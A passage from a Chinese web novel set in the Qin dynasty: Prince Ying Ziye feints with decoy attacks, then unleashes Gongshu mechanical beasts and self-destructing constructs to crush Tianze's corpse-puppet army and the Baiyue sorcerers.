士兵们迅速将陶罐砸向沼泽,黑油遇水不沉反浮。
一支火箭落下,整片沼泽化作火海,将呱噪的毒蟾连同藏身其中的弟子尽数吞噬!
“走!”
灌婴毫不停留,带起一片火旋风卷向下个目标。
……
百越营寨外。
钟离昧的陨星弓发出低沉的嗡鸣,仿佛夜空中坠落的流星!
一箭破空!
三里外的寨旗应声炸裂,碎布在晨风中猎猎飞舞!!
紧随其后,他麾下五千**兵齐齐仰射!!
箭矢成雨,覆盖整个村寨上空,落点却精准避开了民居与粮仓,只在寨墙、瞭望台和蛇笛手的所在处插满铁羽。
一时之间,寨中烟尘弥漫,尖叫声四起,却并无人真正受重伤。
……
“擂鼓!喊杀声大些!”
同时,赵佗的声音如雷霆炸响!
战鼓顿时轰隆作响,节奏急促而震慑人心。
数千秦军齐声嘶吼,喊杀之音震得林鸟惊飞,仿佛数万大军正压境而来!!
他们前仆后继地撞击寨门!
斧刃火油接连劈砍,木屑飞溅,然而只留下浅浅的痕迹。
这正是赢子夜布下的假象。
看似声势汹汹,却始终不越雷池一步!
……
另一侧,苏角坐在一顶空轿辇上,手执虎符。
几名亲兵抬着轿子昂首阔步,前呼后拥!
周围士卒高喊:
“大将亲临!无人生还!”
轿辇外披挂着明晃晃的铜盾,远远看去,仿佛真有统兵大将亲赴前线,气势逼人!
百越探子望见此景,立刻飞鸽传讯:
秦将压境!!!
……
更远的山岭间。
涉间与王离分出数十支小队。
他们几乎不做正面攻击,只是带着一捆捆黑色军旗。
漫山遍野插旗,旗帜猎猎作响,晨曦下宛如铁流涌动!
探子们从山口一望,几乎要被这片旗海吓得魂飞魄散,只觉四面八方皆是秦军重兵!
虚虚实实,张弛有度。
这一路的攻势看似雷霆万钧,却巧妙避实击虚,营造出“十路齐发”的假象。
所有的动静,都被百越眼线刻意捕捉并汇报回蛇谷。
而真正的秦军锋刃,却还未亮出。
……
同一时间。
灵渠古道。
玄鸟旗遮天蔽日!
巨幅战旗在晨风中猎猎作响,宛如遮天的黑云,横贯山川!
蒙毅披挂重甲,立于阵前,手执长戟,神情冷峻。
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在他身后,将近两万的重甲兵团列成方阵,铠甲在日光下反射出森冷的光芒,犹如一堵移动的铁城墙。
他们步伐整齐,踏地声汇成雷霆轰鸣!
每一步都震得山石簌簌,地表似乎随着他们的节奏而颤抖!
战车辚辚而行,铁轮碾碎石道,火光溅起!
车上悬挂着金鼓,鼓声震荡四野,低沉厚重,仿佛战神的心跳!
号角声随之悠长而起,穿透山谷,惊飞无数鸟雀!!
这气势并非虚张声势。
而是实打实的大秦铁血,铺天盖地压来!!!
公输家的工匠锻造的铁盾在前列高举,如同连成一片的铜墙铁壁!
弓**手持着黑羽长**,弦声紧绷,随时待发。
更远处,骑兵与轻装兵散列两翼,疾驰而过时卷起尘浪,仿佛两条蛟龙盘绕着铁城向前突进!
百越探子们远远望见这一幕,只觉血液凝固,连呼吸都被压制!
他们飞鸽传讯回蛇谷时,手指还在颤抖。
因为这支浩浩荡荡的主力军,正毫不掩饰,堂而皇之地撞入天泽早已设下的伏击圈!!!
整条灵渠古道,此刻已被大秦的铁蹄踏得轰鸣不绝。
山川失色,风云皆惊!!!
……
蛇谷祭坛深处。
地心火精的光芒将天泽映照得如同熔岩魔神。
他胸腔剧烈起伏,皮肤下可见赤红能量如蛇游走,每一次呼吸都带出灼热的火星。
“主上!”
驱尸魔踉跄扑入,骨杖上的骷髅疯狂撞击。
“各处营寨遭遇奇袭!秦军主力正朝灵渠压来,还有多路偏师在四处放火!”
天泽猛地睁开眼,瞳孔中火精的光芒几乎要喷薄而出!!
“废物!”
蛇形锁链抽碎身旁石柱,但他随即狞笑起来。
“不过无妨…赢子夜果然沉不住气了。”
百毒王匍匐上前,献上一只蠕动的陶罐。
“‘心魇蛊’和‘蚀铁疽’都已备好,只等秦军入瓮。”
“撒出去。”
天泽指尖刺入陶罐,勾起一团纠缠的黑色蛊虫。
“让尸傀大军去‘迎接’他们,尤其是地底那些老鼠。”
他舔去指尖沾染的蛊液:“不是喜欢钻地么?本君就让他们…永远埋在下面!!!”
驱尸魔犹豫道:“可公输仇的机关兽至今未见踪影…”
“所以才要逼他们出来!”
天泽突然暴吼,锁链将百毒王卷到面前。
“把蚀铁疽混入心魇蛊,尸傀每具都给我种满!只要啃穿一点铁皮…”
他疯狂大笑:“里面的操控者就会发疯撕咬同伴!”
祭坛震动起来,无数尸傀从泥沼中爬出,眼窝里跳动着心魇蛊的幽光!
百毒王将陶罐砸碎在地。
蛊虫如潮水般涌向尸傀,钻入它们的口鼻耳窍。
“去吧。”
天泽抚摸着心口的火精,声音变得异常温柔。
“给秦军一场…永世难忘的噩梦。”
当最后一只尸傀没入地道,他忽然对阴影道:
“告诉焰灵姬,该她出场了!”
“本君要漓江烧起来,烧得秦人的水师变成烤鱼!”
洞穴重归寂静,只剩火精燃烧的噼啪声。
天泽缓缓合眼,继续吸收那毁天灭地的能量。
他仿佛已经看见,秦军在黑暗中被自己人撕碎,机关兽在蛊虫啃噬下瘫痪。
而赢子夜…终将跪在他的锁链之下!!!
第211章 真正的反击,才刚刚开始!
中军大帐内。
赢子夜的目光如鹰隼般锁死沙盘上灵渠古道区域。
前线战报如雪片般飞来——
蒙毅的主力遭遇尸傀大军疯狂阻击,那些不畏刀剑的怪物竟试图用身体堵塞河道!
“果然来了。”
赢子夜黑眸沉静,指尖重重点在代表尸傀潮水的赤色标记上。
“传令蒙毅,佯装不敌,且战且退,把他们的蛊虫都都引出来看看成色。”
“诺!”传令兵疾驰而出。
赢子夜转身,对着阴影中待命的暗河统领:“让公输仇过来见本公子,他的机关兽该醒醒了,等天泽的底牌尽出…”
他声音冷冽。
“便是机关兽碾碎蛇骨之时!!!”
赵戈苍领命,身影如水纹般消散。
几乎同时,卫庄抱着鲨齿剑倚在帐门处,白发在穿堂风中微动:“要动天泽的老巢?”
“之前那些暗桩的口供拼出了大概位置。”
赢子夜甩出一卷染血的地图,上面标注着蛇谷深处一处隐秘溶洞。
“逆流沙…敢去么?”
卫庄唇角勾起嗜血的弧度:“就怕他躲得太浅,杀起来不过瘾!”
鲨齿剑微微出鞘,寒光映亮他眼底的疯狂!!
“白凤、赤练!遛蛇去了。”
帐外传来羽翼破空声与赤练的娇笑,显然逆流沙早已整装待发。
“记住。”赢子夜最后叮嘱。
“我要天泽吸收火精的关键时刻…听到老巢崩塌的声音。”
卫庄的身影已化作残影消失,只留下一句冰冷的余音:“他会听到的…用惨叫伴奏。”
赢子夜独自立于沙盘前,指尖缓缓划过代表天泽藏身处的标记。
整个南疆的战局如同一张巨网,正在他的掌控下缓缓收拢!
“天泽…”他轻声自语。
“你的戏台搭得不错,可惜…”
手指猛然收紧,将那块标记捏得粉碎!
“唱戏的该换人了!”
……
灵渠古道上空黑烟滚滚。
蒙毅的重甲兵团如移动的铁壁稳步推进。
前排士卒奋力将火把投入泥沼,烈焰裹挟着刺鼻的烟球。
这是端木蓉特制的驱虫药草。
大军滚滚向前,试图逼出藏匿的毒虫。
而高处山崖,驱尸魔拄着骨杖,俯瞰着下方秦军“笨拙”的举动。
干瘪的嘴角咧开讥诮的弧度:“秦狗就这点能耐?以为放把火、扔几个药球就能破我圣蛊?”
身旁几名百越长老发出哄笑,空气中弥漫着不屑。
“让他们再深入些!”
驱尸魔骨杖顿地,眼中幽火跳跃。
“等他们完全进了‘瓮’,再让孩儿们好好招待!!!”
他身后阴影里,无数尸傀眼窝中心魇蛊的幽光闪烁不定,发出令人牙酸的摩擦声,蚀铁疽的粉末正从它们腐朽的关节中簌簌落下。
一名万兽宗长老舔着獠牙:“可惜了那些战马,肉肯定柴了…”
“闭嘴!”驱尸魔冷喝。
“盯紧他们的阵型!主上要的是赢子夜的主力尽殁于此!!!”
下方,蒙毅看似在指挥部下奋力灭火清障,实则锐利的目光不断扫视两侧山崖。
副将低声回报:“将军,烟似乎对某些藏在地下的东西效果不佳,有异响。”
蒙毅不动声色:“继续推进,装得像些。”
“公输先生的‘大家伙’们…该等急了!”
秦军阵中,一些士兵慌乱地被逼退的毒虫“惊扰”,阵型出现些许混乱。
甚至还不小心将几架**车陷入了泥沼,艰难地拖拽。
一切都演得恰到好处,完美符合一支遭遇意外顽强抵抗却仍奋力前进的军队该有的样子。
山崖上,百越众人的嗤笑声更大了。
“发信号!”
驱尸魔见秦军主力已大半进入伏击圈,枯爪一挥。
“让地下的宝贝们…开饭!!!”
凄厉的骨笛声撕裂喧嚣。
地面开始不自然地拱动。
土地猛然炸开!!!
腐臭的泥浆裹挟着无数惨白的手臂破土而出。
密密麻麻的尸傀如蝗虫过境般涌来!
它们眼窝中跳动着心魇蛊的幽绿光芒,关节摩擦发出令人头皮发麻的嘎吱声,蚀铁疽的粉末从腐朽的铠甲下簌簌飘落。
“盾阵——!”
百夫长的吼声如雷贯耳,压过了尸潮的嘶嚎。
最前排的重甲盾兵同时跺脚怒吼!
“轰”的一声巨响,半人高的巨盾重重砸入地面,瞬间衔接成一道冰冷的钢铁城墙。
长矛手从盾牌缝隙中迅猛刺出,精铁矛尖精准捅穿尸傀眼眶,劲力一绞便破坏其核心蛊虫!
“西北角!补位!”校尉声嘶力竭。
三名盾兵被力大无穷的尸傀撞得踉跄后退,盾墙出现一丝裂隙。
瞬间便有七八具尸傀嘶吼着扑向缺口!!!
但就在它们即将涌入的刹那。
侧翼立刻冲来一队预备卒,三人举盾悍然顶住冲击!
两人长矛疾刺逼退敌人,最后一人迅速拖走受伤同袍!
整个过程不过两三息,缺口已然补全!
尸潮如惊涛拍岸,不断冲击着钢铁防线。
盾牌表面被抓挠出刺耳的声响,蚀铁疽的粉末试图腐蚀金属,却见盾面早已涂上公输仇特制的防锈漆油,毒粉难以附着。
“**手!抛射!”
蒙毅沉稳的命令传遍军阵。
第二排**手冷静仰射,箭雨越过盾墙,精准落入尸潮后方,将试图集结的尸傀钉在地上。
每一轮齐射都如同死神镰刀挥过!
但尸傀无穷无尽,倒下一批又涌上更多。
“将军!左翼尸傀数量异常!”副将抹去溅到脸上的黑血。
蒙毅目光扫过,果然左翼压力陡增,盾墙已微微向内弯曲。
他毫不犹豫:“右翼前压三步!中军**箭覆盖左翼前沿!”
命令被旗语迅速传达。
右翼盾阵突然怒吼着向前推进,硬生生将尸潮顶退,为左翼赢得喘息。
中军**箭适时倾泻,将左翼冲在最前的尸傀清空一片!
“退!”蒙毅见时机已到,果断下令。
“交替掩护!撤向第二防线!”
整个军阵如同精密的机器开始运转。
前排盾兵保持阵型稳步后撤,后排**箭持续压制,长矛手专门点杀逼近的零散尸傀。
即便有尸傀突破箭雨扑到近前,也会被盾隙中突然刺出的长矛精准解决。
而山崖上,驱尸魔脸上的狞笑渐渐消失。
他眼睁睁看着秦军在那恐怖的尸潮冲击下,虽步步后撤,却阵型不乱,伤亡远低于预期。
那冰冷的钢铁城墙仿佛不可逾越,每一次尸潮的狂猛冲击都被有条不紊地化解。
“怎么可能…”他干瘪的嘴唇颤抖着。
“心魇蛊为何还没生效?!”
他自然不会知道,所
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有秦军士卒耳中都塞着特制的软蜡,隔绝了绝大部分蛊惑之音。
而真正的杀招,早已在地下等待着这场盛宴的另一个主角。
……
中军大帐内。
空气凝滞如铁!
探子扑跪在地,声音因急促而嘶哑:“报——!”
“蒙毅将军遭遇尸潮!前线压力骤增,正在依计划后撤!”
所有将领的目光瞬间聚焦于赢子夜。
他却恍若未闻,黑眸平静地转向角落里闭目养神的公输仇:“先生,听见了么?”
公输仇猛地睁开眼,浑浊的眼底迸发出骇人的精光,咧开一个近乎癫狂的笑容:“早就等得不耐烦了!”
他枯瘦的手猛地拍在身旁一个巨大的青铜阵盘上!
“咔嚓——嗡!!!”
阵盘中央的枢纽骤然下沉,复杂无比的齿轮与符文层层亮起,发出低沉而宏大的嗡鸣,仿佛某种沉睡的远古巨兽正在苏醒!
整个南疆大地,开始颤抖!!!
不是千军万马奔腾的震动,而是更深沉、更恐怖、源自地底深处的轰鸣!
赢子夜帐外的地面猛地隆起、开裂!
坚硬的岩层如同脆饼般被轻易撕开!
首先探出的是巨大无比的金属钻头,旋转着撕裂一切阻碍。
紧接着,庞大如小山般的钢铁身躯,公输家的“破土三郎”咆哮着钻出地表!!!
它们通体由百炼精钢铸就,覆盖着尖刺与撞角,腹部是不断咬合的破碎齿轮!
所过之处,地面化为齑粉!
但这仅仅是开始!
东面山林间,无数背生双翼的“羽人”机关兽腾空而起,金属翅膀反射着冷冽寒光,爪下悬挂着密密麻麻的爆裂**箭舱。
西面平原上,更是成千上万具人形“机关兵俑”组成森严阵列,迈着绝对统一的步伐隆隆前进!!
它们手持特制的长戈重盾,关节摩擦声汇成令人胆寒的金属风暴!
南面甚至漓江水道中,也有巨鲸般的“覆海”机关兽浮出水面,背甲开启,露出密密麻麻的发射孔!
而其中最令人瞩目的,是混杂在军团中那几十具特殊改造的机关兽。
它们的核心处镶嵌着赤红如火的血雨玛瑙,磅礴的能量使得它们周身空气都在扭曲沸腾,散发着令人心悸的毁灭气息!!!
每一步踏出,都在焦土上留下熔岩般的脚印!
三百破土三郎为前锋,五千机关兵俑为步阵,八百羽人机关控扼天空,十二覆海机关镇守水道!
一支完全由钢铁、齿轮与符文驱动的恐怖大军。
无需粮草,不惧伤亡,
正以前所未有的方式,碾过大地!!!
它们的行进速度越来越快。
最终汇成一股无可阻挡的钢铁洪流,朝着尸潮涌现的灵渠古道方向,碾压而去!!
大地在其脚下哀嚎!
轰鸣声震耳欲聋!
连远在蛇谷的天泽,都能感到脚下传来的、那令人不安的震动。
公输仇站在帐外,狂风吹得他须发乱舞。
他张开双臂,对着自己创造的死亡军团发出咆哮:
“去吧!宝贝们!让百越的杂碎们尝尝……”
“什么叫真正的战争机器!!!”
赢子夜玄衣立于狂风之中,平静地注视着这支超越时代的恐怖力量奔赴战场。
黑眸深处,倒映着钢铁的寒光与火焰的轨迹。
真正的反击,此刻才正式开始!
第212章 什么策略?直接火力覆盖!
此时此刻。
蒙毅的主力秦军正如同退潮般井然有序地后撤。
沉重的脚步声与铠甲的碰撞声汇成一道钢铁洪流退却的悲壮秦风。
而在他们身后,浑浊的地平线上,一道灰白色的浪潮正汹涌追来!
那是无数尸傀组成的死亡之潮,扭曲、嘶嚎、无穷无尽。
腐臭的气息即便隔得如此之远也仿佛能扑面而来。
就在尸潮最前锋几乎要咬上秦军断后部队的刹那!
赢子夜缓缓抬起了右手。
他身后,掌旗官屏住呼吸,手中那面巨大的玄鸟令旗随之扬起!!
时间仿佛凝固了一瞬。
下一刻,令旗狠狠挥下!
“轰隆隆隆——!!!”
世界失去了其他的声音。
首先发出怒吼的是位于机关兽军团最后方的“雷神”炮阵!
上百具形如巨龟、背负着粗长金属炮管的巨型机关兽同时震颤,炮口喷吐出长达数丈的炽烈火焰!
无数被火焰包裹的沉重弹丸撕裂空气,带着鬼哭般的尖啸,划出死亡的弧线,如同陨星天降,狠狠地砸进汹涌的尸潮之中!
**!
连绵不绝的**!!!
火焰与冲击波瞬间吞噬了尸潮的最前沿。
腐臭的肢体、破碎的铠甲、焦黑的泥土被恐怖的力量抛向高空,又如同暴雨般砸落。
大地在剧烈的轰鸣中痛苦**,剧烈的震动甚至传到了赢子夜所在的高台。
这仅仅是第一轮齐射。
紧接着,第二波、第三波炮击接踵而至!
火力覆盖范围向着尸潮纵深急速延伸。
**的火光连成一片,硝烟与尘土冲天而起,形成一道巨大的、不断向前推进的死亡之墙!
那些镶嵌了火雨玛瑙的“炎神”炮兽,它们的攻击更为骇人!
射出的不再是实心弹丸。
而是纯粹压缩到极致的火灵能量球!!!
这些赤红的光球落入尸群,并未立刻**,而是先如熔岩般扩散开来,将范围内的所有尸傀瞬间汽化!
随后,才引发更剧烈的二次**。
清空出大片大片的空白区域!!!
天空中的“羽人”机关兽群也俯冲而下。
它们精准地掠过战场上空,爪下的**箭舱如同蜂巢般打开,倾泻下密集的爆裂箭矢,专门点杀那些从炮火覆盖中侥幸漏网的、或者从侧翼试图迂回的零散尸傀。
整个灵渠古道的前半段,已然化作一片烈焰翻腾、**不断的炼狱!
机关兽军团的远程火力,正以绝对毁灭性的姿态,对无穷无尽的尸潮进行着冷酷而高效的洗礼。
钢铁、火焰与符文的力量,在这一刻盖过了邪蛊与尸骸的凶戾。
……
山崖之上。
驱尸魔和百越长老们脸上的狞笑尚未褪去。
讥讽秦军“垂死挣扎”的话语还卡在喉咙里……
先是远方山林中传来沉闷如雷的轰鸣,仿佛地龙翻身前的预兆,连他们脚下的岩石都开始轻微震颤。
“地动了?”
一名万兽宗长老疑惑地侧耳。
下一刻——
“轰隆隆隆——!!!”
无法形容的恐怖巨响猛然炸开!
绝非自然界的雷声,那是无数毁灭之音汇聚成的、撕裂天地的咆哮!
驱尸魔猛地扭头。
只见灵渠古道方向,尸潮汹涌的前沿区域,毫无征兆地腾起无数朵巨大的、混杂着火焰与浓烟的死亡之花!
炽烈的光芒甚至瞬间刺痛了他常年居于幽暗洞穴的眼睛!
而视野中,密密麻麻的尸潮如同被无形的巨神之脚狠狠踩踏。
最前排的尸傀在惊天动地的**声中瞬间解体、粉碎、汽化!
强大的冲击波如同实质的海啸,将后续涌上的尸傀成片成片地掀飞、撕碎!
“那…那是什么?!”
凝冰阁的老妪失声尖叫,声音因极致的恐惧而变调。
她修炼寒冰**,对那远方传来的恐怖热浪有着本能的战栗。
还没等他们从这毁灭性的打击中回过神,更令人绝望的景象出现了。
伴随着更加沉重、更加整齐、更加令人心悸的金属摩擦与撞击声,前方的山林成片倒下!
无数庞然大物的钢铁身影从中显现。
如同从远古神话中走出的金属巨神,组成一道无边无际的钢铁城墙,正以一种无可阻挡的姿态,
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向着仍在遭受炮火洗礼的尸潮,稳步推进!!!
那些钢铁巨兽的缝隙中,还有更多稍小但数量惊人的机关兵俑,如同黑色的潮水,沉默而冰冷地漫过大地!
天空也被阴影遮蔽,无数金属飞翼掠过,投下死亡的箭雨。
“机…机关兽…好多…好多机关兽!”
一个百越巫师牙齿打颤,指着远方,语无伦次。
驱尸魔手中的骨杖“哐当”一声掉落在地。
他干瘪的脸皮剧烈抽搐,猩红的瞳孔缩成了针尖,里面倒映着火焰、**和无穷无尽的钢铁洪流。
他终于想起了胡亥给主上的密信中的警告。
那封他曾嗤之以鼻,认为只是咸阳公子夸大其词的信!
那不是夸大其词……
那是绝望的预告!!!
百越长老们更是僵立在高处,眼珠因恐惧而布满血丝。
他们引以为傲的蛊术、尸傀,在这一刻如同孩童的玩具般不堪一击。
一名巫医呆呆喃喃:“这是…这是神明的军队……”
“不是神明。”
另一名长老声音沙哑,牙齿打颤,“是屠戮机器!”
话音未落,又一轮火雨砸下!
**的火光吞没他们的视线,震荡波扑面而来,竟将他们逼得连连后退!
天地之间,仿佛只剩下那股来自机关兽洪流的震撼与压迫。
那是足以摧毁一切信念的恐惧。
连最冷血的百越**,此刻都本能地颤抖,手脚冰冷。
他们从未想过——
原来,真正的噩梦并非尸潮吞没大地。
而是有人,让钢铁与火焰,化作毁天灭地的洪流,将尸潮连同他们的傲气与蔑视,一同碾成灰烬!
“公输…公输家的霸道机关术…”
驱尸魔喉咙里发出咯咯的声响,像是被无形的手扼住了咽喉。
“怎么会…这么多…这么…”
恐惧,如同最阴毒的蛊虫,瞬间钻透了在场每一个百越高手的心脏。
他们赖以自豪的尸潮大军,在那绝对的力量和冰冷的钢铁面前,仿佛成了玩笑般的纸糊玩具。
炼狱,真的降临了。
而他们,正站在炼狱的边缘!!!
第213章 赢子夜!你真是个败家子!!!
下一刻。
驱尸魔眼眶中的幽火几乎要喷涌出来。
他枯爪一挥,嘶声尖叫:“不能让他们再推进了!毁了那些铁疙瘩!”
话音未落。
无数道身影已如鬼魅般扑下山崖!
万兽宗的紫袍长老催动本命毒**,巨**张口喷出腐蚀性极强的毒液,浇在一具“破土三郎”的钢铁身躯上,发出滋滋的声响,却只在特制的防锈漆面上留下淡淡白痕。
“没用?!”长老惊愕。
与此同时。
大量尸傀展开人海战术,张牙舞爪扑向机关兽,体内种满的“心魇蛊”和“蚀铁疽”也在疯狂作用!
只见蛊虫啃噬着齿轮,黑雾腐蚀金属。
然而,除了偶尔让关节微微滞涩外,庞大的机关兽几乎没有受到影响,依旧以钢铁洪流的姿态向前碾压!!
驱尸魔愤怒得几乎要咬碎牙齿!
“不可能!这些铁疙瘩怎么可能无动于衷!他们靠什么操纵的?”
另一侧。
地尸门的首领操控着三具刀枪不入的金甲尸傀,硬生生撞翻了一具机关兵俑。
尸傀的利爪疯狂撕扯着兵俑的关节,火星四溅。
“找到弱点了!攻击连接处!”
他刚露出喜色,却见那被撕扯的机关兵俑胸腔突然亮起不正常的红光,内部传来急剧的能量嗡鸣!
“不好!快退!”
驱尸魔见识广博,感应到那恐怖的能量波动,失声警告!!
但已经晚了。
“轰——!!!”
那具机关兵俑猛然炸开。
并非普通的**,镶嵌在其核心处的那块火雨玛瑙将所有的能量在这一瞬间彻底释放。
刺目的赤红光芒吞噬了一切。
恐怖的火灵冲击波呈环形向外急速扩散,高温将范围内的所有事物瞬间汽化。
首当其冲的三具金甲尸傀连同地尸门首领,连惨叫都没来得及发出,就直接消失在了赤红的光芒中。
仿佛从未存在过。
离得稍近的几名百越高手也被冲击波狠狠掀飞,浑身焦黑,生死不知。
**中心留下一个巨大的焦坑。
边缘的岩石都融化为赤红的熔浆,滋滋作响。
空气被蒸腾得扭曲,热浪扑面,连远在山崖上的百越长老们都下意识地后退几步。
整个战场似乎都为之一静。
紧接着,寂静就被更恐怖的轰鸣声打破!
三百具破土三郎齐声怒吼,钢铁巨躯如同山岳移动,直挺挺地撞入尸潮与百越弟子布下的阵势。
刀剑劈在它们的钢甲上,只溅起点点火花。
沉重的铁齿轮碾压过地面,尸傀成片成片地化作血浆。
一头翼展数丈的妖禽扑下,却被羽人机关兽锁定,数百根爆裂箭从空中倾泻,硬生生将其钉成筛子,从半空坠落,砸出一片血雨。
百越高手们的怒吼与嘶嚎混作一片!
毒雾、尸傀、蛊虫疯狂扑向机关兽的洪流。
事实上,机关兽并非无懈可击。
一名凝冰阁老者全身真气骤然爆发,寒气冻结空气!!
他掌心一翻,结出一柄晶莹冰刃,硬生生刺入一具破土三郎胸腔的齿轮缝隙!
齿轮顿时卡死,巨兽的动作瞬间停滞。
可还未等他露出胜利的笑容,机关兽胸腔骤然泛起刺眼的赤红光芒。
“轰——!!!”
那具破土三郎轰然自爆!
赤红的火雨玛瑙能量释放,将那名老者连同周围数十具尸傀一并吞没,地面被炸出一个血与火交织的深坑!
另一侧,地尸门余孽操控着五具巨型尸傀,死死拦住了一头覆海机关兽。
尸傀合力将巨兽拖入淤泥,爪牙撕裂钢甲,竟硬生生扒开了它的背壳!
但覆海机关兽没有半点挣扎。
“嗡”的一声低鸣!
裂开的甲壳下方,数十条符文一同亮起,紧接着整具机关兽爆裂开来!
漫天火光与铁片化作飓风,将尸傀绞成碎片!
冲击波掀起泥水,百里外都能看见那道火光冲天而起。
碾压仍在继续。
每当有百越高手能以绝技撼动机关兽的行动。
机关兽便毫不犹豫地自爆,将敌人与自己一同拖入毁灭的烈焰中!!
火雨玛瑙的光芒不断闪烁,一朵朵赤红蘑菇云在战场上连绵升起。
百越弟子们眼中的勇气逐渐被绝望吞噬!
他们发现,无论付出多大的代价,都只能换来敌人一次自毁式的反击。
而机关兽的数量,依旧如潮水般无穷无尽。
这不是单纯的战争。
这是冷酷、彻底、以血雨玛瑙为燃料的毁灭盛宴!!
……
漓江口岸。
焰灵姬立于江畔的巨石之上,红发在烈焰与江风中狂舞。
她素手翻转,数十枚火晶被投射入江面,随即燃起一片蔓延的火潮,顺着水势迅速扑向停泊的秦军战船!
浪涛翻涌之间,江面仿佛化作炼狱!
烈焰倒映在她的瞳孔中,带着几分残酷的妖冶:“尔等今日…就葬身在这漓江好了。”
忽然,远方传来一声惊天动地的巨响!
江水都随之震荡,火舌被震得乱窜,连她脚下的岩石都微微颤抖。
她猛地抬首,只见天边骤然腾起一朵赤红色的蘑菇云!
那股精纯而暴烈到极点的火灵之力被毫无保留地、奢侈到令人发指地瞬间释放。
炽烈的光芒刺痛她的眼睛,让她心口的地心火精猛然震荡,竟险些脱离掌控!
焰灵姬绝美的脸庞先是愕然,随即嘴角控制不住地剧烈抽搐起来。
“火…火雨玛瑙?!”
她几乎是咬着后槽牙,从牙缝里挤出声音,带着一种混合了极致心痛和荒谬感的颤抖。
“就…就这么…自
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爆了?!!”
而紧接着,远方的天幕骤然升起第二朵赤红的蘑菇云!
火光映得半边天空都在颤抖,炽烈的能量波动隔着数百里都扑面而来,连漓江的水面都随之震荡翻滚。
焰灵姬终于没忍住,捂着自己发疼的胸口,尖声骂了出来,声音都变了调。
“赢子夜!你个天杀的啊!!!”
“这等神物,若是炼入我身,足以踏碎一域!”
“你却把这等天地至宝,当成一次性焚尽的燎柴?!!”
她辛辛苦苦、谋划许久才为天泽带回地心火精,深知这等天地奇珍的珍贵与难得。
可现在。
对面那个男人,竟然用同样级别的宝物,只是为了……
只是为了清理那些废物尸傀?!!
这种奢侈到丧心病狂,粗暴到令人发指的战术,让一向妖娆魅惑的焰灵姬,感受到了何为“心梗”。
……
而与此同时。
指挥高台上,一片死寂。
唯有远处连绵不绝的**轰鸣声,如同重锤般一下下砸在每个人的心脏上。
蒙毅、赵佗等一众身经百战的将领已经安然撤回,此刻如同泥塑木雕般僵立在原地。
他们眼睁睁看着那钢铁洪流以碾压之势向前推进。
每一次齐射都地动山摇。
每一次自爆都绽放出毁灭的赤红之花,将百越倚为屏障的尸潮和高手轻易抹去!
蒙毅的喉结艰难地滚动了一下,下意识地喃喃道:“这…这便是公输家的…”
后半句话卡在喉咙里。
他发现任何形容战争的词汇在此刻都显得苍白无力。
这根本不是战争。
这是一场冰冷高效的,绝对力量的碾轧!!
当初的墨家机关城,原来就是这样…被毁灭的。
赵佗死死攥着剑柄,指节因用力而发白。
他年轻时也曾了解过公输家机关兽的威力,但何曾见过如此规模、如此恐怖……
甚至能将珍贵无比的火雨玛瑙当做一次性的爆裂符来用的场面?!
就在所有将领都被这超越想象的战争场面震撼得心神摇曳之时——
“嘿嘿…哈哈哈!妙啊!太妙了!”
公输仇癫狂的笑声打破了高台上的死寂!
只见这老头手舞足蹈,机关臂兴奋地咔咔作响,指着远方又一朵腾起的赤红蘑菇云,满脸都是扭曲的陶醉和自豪。
“看见没!看见没!那朵!那朵最亮的!用的是最大那颗边角料!”
“听听这响动!看看这火光!完美……简直是艺术!!!”
他仿佛在欣赏世间最杰出的杰作,而不是一场残酷的**。
赢子夜玄衣默立,黑眸平静地倒映着远方的烈焰与钢铁。
对于公输仇的狂笑和将领们的震撼,他并未置评,只是淡淡地问了一句。
“天泽,你还能躲多久?”
第214章 索命阎罗!
紧接着,赢子夜玄衣拂动,黑眸如渊,一道道命令清晰冷冽地传出!
“蒙毅。”
“末将在!”
蒙毅猛地回神,抱拳领命,声音因之前的震撼仍带着一丝沙哑。
“率你本部兵马,沿之前既定的主战场正面推进。”
赢子夜指尖划过远处山林已被机关兽清空的道路。
“清理残敌,巩固战线,我要在天黑前,看到秦军的旗帜插在蛇谷入口!!”
“诺!”蒙毅重重点头,眼中燃起战火。
“钟离昧、樊哙、周勃、灌婴。”
四将踏前一步,杀气腾腾:“末将在!”
“百越那些头领,该清算了。”
赢子夜目光扫过他们,“钟离昧,用你的箭盯死驱尸魔!”
“樊哙,百毒王交给你,别让他再撒毒!”
“周勃、灌婴,缠住无双鬼和其他高手,不必死斗,分割开来,逐个击破!!”
“得令!”
四人狞笑着领命,武器铿然出鞘!
最后,赢子夜转向身侧静立的少司命,取出三颗龙眼大小、能量却远比之前自爆那些更为精纯磅礴的火雨玛瑙,放入她手中!
“焰灵姬得了地心火精,寻常手段难伤。”
他语气温柔,“你去缠住她,若事不可为…”
他顿了顿,黑眸中没有任何波动。
“便用这地心火精,送她一程!”
少司命紫纱微动,静静收下那三颗足以让天下修士疯狂的宝物,颔首不语,身影悄然淡去。
“传令兵。”赢子夜最后喝道。
“在!”
“快马加鞭,通知王贲将军。”
他指向漓江水路,“水师全军压上,沿灵渠进军,与主力合围蛇谷!”
“告诉他,水路两侧的‘钉子’,本公子已经替他拔干净了!”
“诺!”
传令兵翻身上马,疾驰而去。
一道道命令如同精准的齿轮,瞬间咬合!
整个战争机器以更高的效率疯狂运转起来!!
赢子夜独立台前,俯瞰着烈焰与钢铁交织的战场,玄衣在硝烟风中猎猎作响。
最终的绞索,已缓缓套上蛇谷的咽喉!
……
万蛇谷深处。
百越守军的注意力全被前线震天的**吸引。
几名哨兵正伸长脖子望着远方腾起的烟柱,低声议论着战况。
“噗嗤!”
轻微的利刃入肉声响起。
一名哨兵愕然低头,看见一截染血的剑尖从自己胸口透出!
他身后的阴影里,白凤的身影如鬼魅般一闪而逝。
几乎同时!
另一侧哨塔上的守卫喉咙上无声无息地多了一枚羽毛,他徒劳地捂着喷血的伤口,从塔上栽落。
“敌…”
示警声刚喊出一半就戛然而止。
隐蝠倒挂在岩顶,舔着爪尖的鲜血,发出满足的嗬嗬怪笑。
卫庄提着鲨齿剑,缓步从谷口阴影中走出,白发在谷内阴风中微动。
他身后,上百具披着破烂百越服饰、散发着腐臭的“尸体”正摇摇晃晃地站起——
正是公输仇用百越**尸体改造的机关尸傀!!!
“去吧。”
卫庄声音冰冷。
那些机关尸傀眼中猛地亮起猩红的光芒!
如同嗅到血腥味的饿狼,嘶吼着扑向毫无防备的百越营地!!
它们的关节发出刺耳的“嘎吱嘎吱”声,动作僵硬却力大无穷。
每一次抬手,都能轻易捏碎敌人的头颅,仿佛碾碎一个脆弱的陶罐!
最恐怖的是,它们完全无视一切,见人就杀!
无论男女,只要在眼前,都会被撕扯、碾断、撕成血泥!
